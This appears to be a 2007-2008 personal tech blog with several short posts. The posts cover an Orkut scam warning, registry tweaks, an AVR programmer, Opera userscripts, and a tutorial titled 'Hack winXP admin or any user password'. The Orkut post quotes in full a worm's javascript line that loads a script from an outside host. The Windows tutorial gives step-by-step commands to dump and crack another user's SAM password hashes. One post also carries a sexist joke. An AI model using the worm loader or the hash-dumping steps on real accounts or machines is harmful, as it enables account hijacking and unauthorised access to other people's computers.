Anils blog

Orkut users beware!!! dont exceute this javascript injection

anil soni — Sat, 15 Mar 2008 21:48:42 +0000

Yesterday, after a long time when i checked my orkut scarpbook. I found same scrap from 4 friend of mine. That scrap was

Heya !!


how are you??

Do you know there was a profile in news last night
link :- click here

The about me of This Profile Is Superb.

The link provided in this scrap was pointing to a profile who claims to be Bani (the MTV ROADIES 4.0 girl). The about section of this profile instructs to execute a javascript injection by which we can open any locked album. The about section goes like this

about me:


JOIN ME HERE:- BANI "MTV ROADIES" GIRL
 VIEW ANYONE'S LOCKED ALBUM NOW.  
1.) Goto the profile of which you need

to view the album  
2.) Copy the javascript given below and paste

it to your address bar where you write www.orkut.com And hit enter key  
3.) Now wait for the images to be loaded

as it will take a few minutes .  
javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://mrnoobrulez.110mb.com/orkut0.js';void(0)

And Yes I have Uploaded My New Picture But Please Dont use this trick on my album

This javascript injection appends a new script tag in the page whose source is actually available at http://mrnoobrulez.110mb.com/orkut0.js. Now this is the real script… who ever wrote this script is a true hacker. This scripts performs following three tasks

It sends the same scrap to all friends of victim
It hiddenly adds the user to 3 communities [ Love is in the air , Fastest community ever and Orkut]
Displays text about basics of SQL injections

I think owner of these communities is spreading this scrap and till now he has got millions of members for his communities. The source code of this javascript is attached here. So dont execute a javascript injection if you exactly dont know what it does.

Registry Trick: Multiple instances of yahoo messenger

anil soni — Tue, 19 Jun 2007 18:20:26 +0000

Click start then run

Write regedit, press enter
Goto “HKEY_CURRENT_USER\Software\Yahoo\Pager\Test”
Create a DWORD registry value named “Plural” by right clicking the right hand side window.
Double click the new DWORD entry and set the value to 1

Now you remain online with two or more different yahoo ids at the same time.

source: http://www.thinkdigit.com/forum/showthread.php?t=55350

My Simple AVR Burner

anil soni — Wed, 23 May 2007 12:54:17 +0000

Here i am putting my first AVR burner. I have used this to burn program into ATmega 8535 and its works fine with 8535 but i dont know whether it will work with others or not.

This burner can be used to burn program into flash memory and it can also be used to write data in EPROM. if you want to use this burner with most widely used avrdude then you have to edit the configuration file of avrdude(avrdude.conf). Carefully add following lines in your avrdude confugration file:
programmer id = "at-prog"; desc = "AT-prog programmer, added by anil soni"; type = par; reset = 5; sck = 3; mosi = 2; miso = 10; ;
if you dont no where to add these lines then u can donwload and use my confugration file from here. I will soon put a tutorial on how to use avrdude.

This circuit also works with AT-Prog so u can also use AT-Prog. you can download AT-prog from here.

Quick Scrap Tool – Another UserJs for opera

anil soni — Thu, 22 Mar 2007 20:28:05 +0000

Here is another user Javascript for orkut which works perfect in Opera9 (yaa u need to have opera 9 for this). This time i have created a Scrap Tool for orkut. Using this you can insert smiley, format your scrap, create hyperlinks with some clicks. Well i am not going to explain how this script works because if you know javascript (specially GreaseMonkey script) then u already know how it works. Here i am providing screenshots of Quick Scrap Tool. The method of using UserJS is already explained by me here.
Right Click and select save target as to start downloading scrapTool.js

Hack winXP admin or any user password

anil soni — Wed, 14 Mar 2007 20:32:03 +0000

This tutorial will teach you how to get windows XP user password, if you have physical acces to that computer. For this you have to follow the following steps:

Download Backtrack iso image from http://mirror.switch.ch/ftp/mirror/backtrack/bt2final.iso (~700MB)

After download is complete you can either burn it on disc or you can create a bootable pen drive. For Creating bootable pen drive mount this disc on your favourite virtual drive (alchol 120%, cloneCD, virtualCD) and from command prompt type
g:\make_disc.bat k:
Here i am assuming g: as your virtual CDrom drive letter and k: as your pen drive letter

Now your bootable media is ready. Boot the system with your bootable media for this change the first boot device in BIOS to CDROM if you have burned a DISC and if you are using a pen drive then set first boot device to USB-HDD or USB-FDD.

After getting the KDE desktop of backtrack start the console and type
bkhive /mnt/hda1/WINDOWS/system32/config/system /mnt/hda1/keyfile
here /mnt/hda1 is your c:\ and i am assuming that your c:\ is FAT32 fromatted and not NTFS otherwise you have to find one such partition using mount command for keyfile. If you are using a pen drive then dont worry about the filesystem simply use this command
bkhive /mnt/hda1/WINDOWS/system32/config/system keyfile

bkhive get the system key which is used to remove the extra encryption from SAM database.

Now type another command which is used to Dump the password from SAM file
samdump2 /mnt/hda1/WINDOWS/system32/config/SAM /mnt/hda1/keyfile > pwdumpfile.txt
or if you have diffrent location for keyfile then use that location instead of /mnt/hda1/keyfile and again if you are using a pen drive then simply use this command
samdump2 /mnt/hda1/WINDOWS/system32/config/SAM keyfile > pwdumpfile.txt

Final step, in previous step we have successfully dumped passwords for all user in pwdumpfile.txt. This file contains the password of all users, but these password are still not readable because they are in form LM hash, so to reverse these LM hashes use either SAMinside which will crack the password for you using brute-force or dictionary attack or submit your hashes at www.plain-text.info (simple and fast, preffered).

source: See video version at irongeek http://www.irongeek.com/i.php?page=videos/backtrackplaintext

Hide orkut friends request in opera

anil soni — Mon, 12 Feb 2007 07:26:39 +0000

I have created a user javascript which can be used to hide friend request and can be showned on demand. Here are some screenshots which shows how this script works:

Normal view of orkut when a person request you to add as a friend

View after adding orkut request hider

Screenshot showing the add friend request with option to hide requests

Here i am giving you the script or you can download this script from here(right click and click on save target as).

// ==UserScript==
// @include http://www.orkut.com/home.aspx
// @description Hide request panel on orkut profile homepage
// ==/UserScript==

document.onload=Hide_Requests;
var new_con;
function Hide_Requests()
{
var tables=document.getElementsByTagName(“table”);
var con_str=tables[3].cells[0].innerHTML;
if (con_str.substr(0,3)==”new”)
{
new_con =con_str.substr(con_str.indexOf(“(“)+1,con_str.indexOf(“)”)-con_str.indexOf(“(“)-1);
tables[3].cells[0].innerHTML=”Show all requests. Total “+new_con+” requests” ;
tables[3].rows[1].style.display=”none”;
}
}

function Show_Requests()
{
var tables=document.getElementsByTagName(“table”);
tables[3].cells[0].innerHTML=”new connections (“+new_con+”) – Hide”;
tables[3].rows[1].style.display=”block”;
}

Save this script as “orkut request hider.js”. Now open orkut site in opera and goto Tools>Quick Preferences>Edit Site Preferences
from here select scripting tab and now check “Enable Javascript” option and at the bottom of this you will find “User Javascript files”. Click on choose and select the folder in which you have saved “orkut request hider.js”

Click Ok and login into your orkut account. maaza aaa gaya ho gaya hooray

Add your own My Computer like folder on Desktop

anil soni — Mon, 05 Feb 2007 14:22:59 +0000

We can also create our own Special folders one and then we can also put these folder on desktop like My Computer, My document, Recycle Bin etc. Here is screenshot from my desktop showing my own special folder with its own context menu.

To do this create a CLSID. A CLass ID or GUID is a global unique ID which is used to represent unique COM objects. Following are some CLSID which are left free for user and are not used by most of the software.

{25892e17-80f6-415f-9c65-7395632f0223}
{a53e98e4-0197-4513-be6d-49836e406aaa}
{e33898de-6302-4756-8f0c-5f6c5218e02e}
{3a768eea-cbda-4926-a82d-831cb89092aa}
{cd171f7c-560d-4a62-8d65-16b87419a58c}
{17084b40-08f5-4bcd-a739-c0d08c176bad}
{d63a8ffd-bdac-498c-b861-a53e11989cef}
{11cdd494-de5b-460e-9ddf-4e84bad6f596}
{deb17e15-d47c-449f-b1b0-4d55247d153f}
{30a7e1b3-e763-4789-a54d-fcc53dcf973a}

Open registry editor(start>run>regedit press enter)
Note: HKCR stands for HKEY_CLASSES_ROOT

First choose any one of the CLSID (i will use {25892e17-80f6-415f-9c65-7395632f0223} as an example in this tutorial) and create a key in registry HKCR\CLSID\{25892e17-80f6-415f-9c65-7395632f0223} Set its following values here
- (default) value to the text u want to be display below the icon.
- Create a new string value here InfoTip and set its value to any text u want to display as ToolTip like My Personal special folder

Create another key HKCR\CLSID\{25892e17-80f6-415f-9c65-7395632f0223}\DefaultIcon and set its (default) value to any Icon file u want.

Now create key HKCR\CLSID\{25892e17-80f6-415f-9c65-7395632f0223}\InprocServer32 and set its (default) value to shell32.dll. Create a another string value called ThreadingModel and set its value to Apartment

Now create following sub keys in HKCR\CLSID\{25892e17-80f6-415f-9c65-7395632f0223} :
- Shell
- Shell\Open
  set its (default) value to Open or to any text u want
  to display in right click menu as default operation.
- Shell\Open\Command
  set its (default) value to explorer.exe \n, “path of your folder“
  create another sub key ShellFolder and create a DWORD value with name Attributes and set its value to 0

last step put the created special folder on Desktop: for this create a key as shown below
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
Explorer\Desktop\NameSpace\{25892e17-80f6-415f-9c65-7395632f0223}

Now close regedit and come to desktop and Refresh desktop. Volla here is your own special folder on desktop and it cannot be renamed or delete from the desktop like recycle bin and my computer.

To remove this special folder just delete above created keys and refresh your desktop.

CAUTION: Playing with registry may result in corrupt OS so do not delete or modify any other key it may result in boot failure.

source:
Microsoft MSDN
www.Pctools.com

Watch this the worlds most amazing Pool shots

anil soni — Sun, 21 Jan 2007 19:59:36 +0000

Click here

Here is the proof that all girls are evil

anil soni — Mon, 15 Jan 2007 10:01:58 +0000

Hello boys here i have found something on internet which proves that Girls are evil. Its a simple derivation.

Secure Folder v1.0

anil soni — Thu, 11 Jan 2007 21:35:14 +0000

Today i am launching my first utility program on internet- Secure Folder v1.0. This utility Program will help you to password protect any of your file. It will create a folder – SecureFolder which can be access only by entering correct password and once the Folder is Secured it cannot be accessed. Its multiple copies can be created by copy and pasting the SecureFolder.exe file only. On first start it will ask you to set password for that particular location based Secure Folder. So Download and start keeping your secrets Secure.
HomePage of Secure Folder v1.0